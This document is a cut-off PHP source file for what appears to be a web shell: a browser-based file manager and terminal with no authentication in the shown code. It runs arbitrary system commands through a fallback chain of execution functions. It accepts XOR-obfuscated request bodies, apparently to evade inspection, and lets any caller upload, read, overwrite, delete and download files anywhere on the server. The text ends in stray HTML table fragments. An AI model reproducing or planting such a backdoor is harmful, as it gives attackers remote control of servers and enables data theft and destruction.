octalToRwx($octal[0]), 'group' => octalToRwx($octal[1]), 'other' => octalToRwx($octal[2]), ); } function padKey($key, $length = 32) { $keyBytes = str_split($key); $padded = array_fill(0, $length, 0); for ($i = 0; $i < min(strlen($key), $length); $i++) { $padded[$i] = ord($keyBytes[$i]); } return $padded; } function isAccessible($path) { return is_readable($path); } function exe($command, &$exitCode = null) { $output = ''; if (function_exists('exec')) { exec($command . ' 2>&1', $outputLines, $exitCode); $output = implode("\n", $outputLines); } else if (function_exists('shell_exec')) { $output = shell_exec($command . ' 2>&1'); $exitCode = 0; // shell_exec does not provide exit code } else if (function_exists('system')) { ob_start(); system($command . ' 2>&1', $exitCode); $output = ob_get_clean(); } else if (function_exists('passthru')) { ob_start(); passthru($command . ' 2>&1', $exitCode); $output = ob_get_clean(); } else if (function_exists('popen')) { $handle = popen($command . ' 2>&1', 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 2096); } pclose($handle); $exitCode = 0; // popen does not provide exit code } else { $output = 'Failed to open process.'; $exitCode = 1; } } else if (function_exists('proc_open')) { $descriptorspec = [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errorOutput = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $exitCode = proc_close($process); if ($errorOutput) { $output .= "\n" . $errorOutput; } } else { $output = 'Failed to open process.'; $exitCode = 1; } } else { $output = 'No execution functions available.'; } return $output ?: 'Command executed with no output.'; } function dec($ciphertext) { global $encryptionKey; try { $keyBytes = padKey($encryptionKey); $encrypted = str_split(base64_decode($ciphertext)); $decrypted = []; for ($i = 0; $i < count($encrypted); $i++) { $decrypted[] = ord($encrypted[$i]) ^ $keyBytes[$i % count($keyBytes)]; } return implode('', array_map('chr', $decrypted)); } catch (Exception $e) { throw new Exception('Decryption failed: ' . $e->getMessage()); } } $currentPath = isset($_GET['path']) ? $_GET['path'] : realpath('.'); $currentPath = str_replace('\\', '/', $currentPath); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['files'])) { $path = isset($_POST['path']) ? $_POST['path'] : $currentPath; $uploadedFiles = []; if (!empty($_FILES['files']['name'])) { foreach ($_FILES['files']['name'] as $key => $name) { if ($_FILES['files']['error'][$key] === UPLOAD_ERR_OK) { $tmpName = $_FILES['files']['tmp_name'][$key]; $destination = $path . DIRECTORY_SEPARATOR . basename($name); if (move_uploaded_file($tmpName, $destination)) { $uploadedFiles[] = $name; } } } } echo json_encode([ 'success' => !empty($uploadedFiles), 'files' => $uploadedFiles ]); exit; } $rawInput = file_get_contents('php://input'); if (substr($rawInput, 0, 10) === 'ENCRYPTED:') { $encryptedData = substr($rawInput, 10); $decryptedData = dec($encryptedData); $input = json_decode($decryptedData, true); } else { $input = json_decode($rawInput, true); } $action = isset($input['action']) ? $input['action'] : null; $response = null; switch ($action) { case 'list': $files = []; $path = isset($input['path']) ? $input['path'] : $currentPath; if (!isAccessible($path)) { $response = ['success' => false, 'error' => 'Directory is not accessible']; } else if (!is_dir($path)) { $response = ['success' => false, 'error' => 'Path is not a directory']; } else { $items = scandir($path); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $itemPath = $path . DIRECTORY_SEPARATOR . $item; $stat = stat($itemPath); $files[] = [ 'name' => $item, 'type' => is_dir($itemPath) ? 'folder' : 'file', 'size' => is_file($itemPath) ? formatFileSize($stat['size']) : null, 'path' => str_replace('\\', '/', realpath($itemPath)), 'modified' => date('Y-m-d H:i:s', filemtime($itemPath)), 'permissions' => formatPermissions($stat['mode']) ]; } } $response = ['success' => true, 'files' => $files]; break; case 'mkdir': $path = isset($input['path']) ? $input['path'] : $currentPath; $name = isset($input['name']) ? $input['name'] : null; if ($name) { $newDir = $path . DIRECTORY_SEPARATOR . $name; if (file_exists($newDir)) { $response = ['success' => false, 'error' => 'Directory already exists']; } else if (mkdir($newDir, 0755)) { $response = ['success' => true]; } else { $response = ['success' => false, 'error' => 'Failed to create directory']; } } break; case 'read': $filepath = isset($input['path']) ? $input['path'] : null; if (!is_file($filepath)) { $response = ['success' => false, 'error' => 'File does not exist']; } else { $content = file_get_contents($filepath); $response = ['success' => true, 'content' => $content]; } break; case 'touch': $path = isset($input['path']) ? $input['path'] : $currentPath; $name = isset($input['name']) ? $input['name'] : null; if ($name) { $newFile = $path . DIRECTORY_SEPARATOR . $name; if (file_exists($newFile)) { $response = ['success' => false, 'error' => 'File already exists']; } else if (touch($newFile)) { $response = ['success' => true]; } else { $response = ['success' => false, 'error' => 'Failed to create file']; } } break; case 'write': $filepath = isset($input['path']) ? $input['path'] : null; $content = isset($input['content']) ? $input['content'] : ''; if (function_exists('file_put_contents')) { if (file_put_contents($filepath, $content) !== false) { $response = ['success' => true]; } else { $response = ['success' => false, 'error' => 'Failed to write to file']; } } else if (function_exists('fopen') && function_exists('fwrite') && function_exists('fclose')) { $handle = fopen($filepath, 'w'); if ($handle) { if (fwrite($handle, $content) !== false) { fclose($handle); $response = ['success' => true]; } else { fclose($handle); $response = ['success' => false, 'error' => 'Failed to write to file']; } } else { $response = ['success' => false, 'error' => 'Failed to open file for writing']; } } else { $response = ['success' => false, 'error' => 'file_put_contents function is disabled']; } break; case 'delete': $itemPath = isset($input['path']) ? $input['path'] : null; if (!file_exists($itemPath)) { $response = ['success' => false, 'error' => 'Item does not exist']; } else if (is_dir($itemPath)) { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($itemPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { rmdir($file->getRealPath()); } else { unlink($file->getRealPath()); } } if (rmdir($itemPath)) { $response = ['success' => true]; } else { $response = ['success' => false, 'error' => 'Failed to delete directory']; } } else { if (unlink($itemPath)) { $response = ['success' => true]; } else { $response = ['success' => false, 'error' => 'Failed to delete file']; } } break; case 'rename': $oldpath = isset($input['oldPath']) ? $input['oldPath'] : null; $newName = isset($input['newName']) ? $input['newName'] : null; if ($oldpath && $newName) { $newpath = dirname($oldpath) . DIRECTORY_SEPARATOR . $newName; if (file_exists($newpath)) { $response = ['success' => false, 'error' => 'A file or directory with the new name already exists']; } else if (rename($oldpath, $newpath)) { $response = ['success' => true]; } else { $response = ['success' => false, 'error' => 'Failed to rename item']; } } break; case 'download': $filePath = isset($input['path']) ? $input['path'] : null; if (!is_file($filePath)) { $response = ['success' => false, 'error' => 'File does not exist']; } else { $content = file_get_contents($filePath); $response = ['success' => true, 'content' => base64_encode($content)]; } break; case 'terminal': $cmd = isset($input['cmd']) ? $input['cmd'] : null; $args = isset($input['args']) ? $input['args'] : []; $currentPath = isset($input['currentPath']) ? $input['currentPath'] : $homeDir; $output = ''; $newPath = null; if (is_dir($currentPath)) { chdir($currentPath); } else { chdir($homeDir); $currentPath = $homeDir; } switch ($cmd) { case 'cd': $target = isset($args[0]) ? $args[0] : ''; if ($target === '' || $target === '~') { $newPath = $homeDir; } elseif ($target === '..') { $parentPath = dirname($currentPath); $newPath = $parentPath === $currentPath ? $currentPath : $parentPath; } else { if (substr($target, 0, 1) === '/') { $targetPath = $target; } else { $targetPath = $currentPath . ($currentPath === '/' ? '' : '/') . $target; } $realTargetPath = realpath($targetPath); if ($realTargetPath && is_dir($realTargetPath)) { $newPath = $realTargetPath; } else { $output = '
' . htmlspecialchars($result) . '
' . htmlspecialchars($result) . '
' . htmlspecialchars($result) . '
Loading files...
Upload files or create new folders to get started.
| Type | Name | Size | Modified | Permissions | Actions |
|---|---|---|---|---|---|
|
|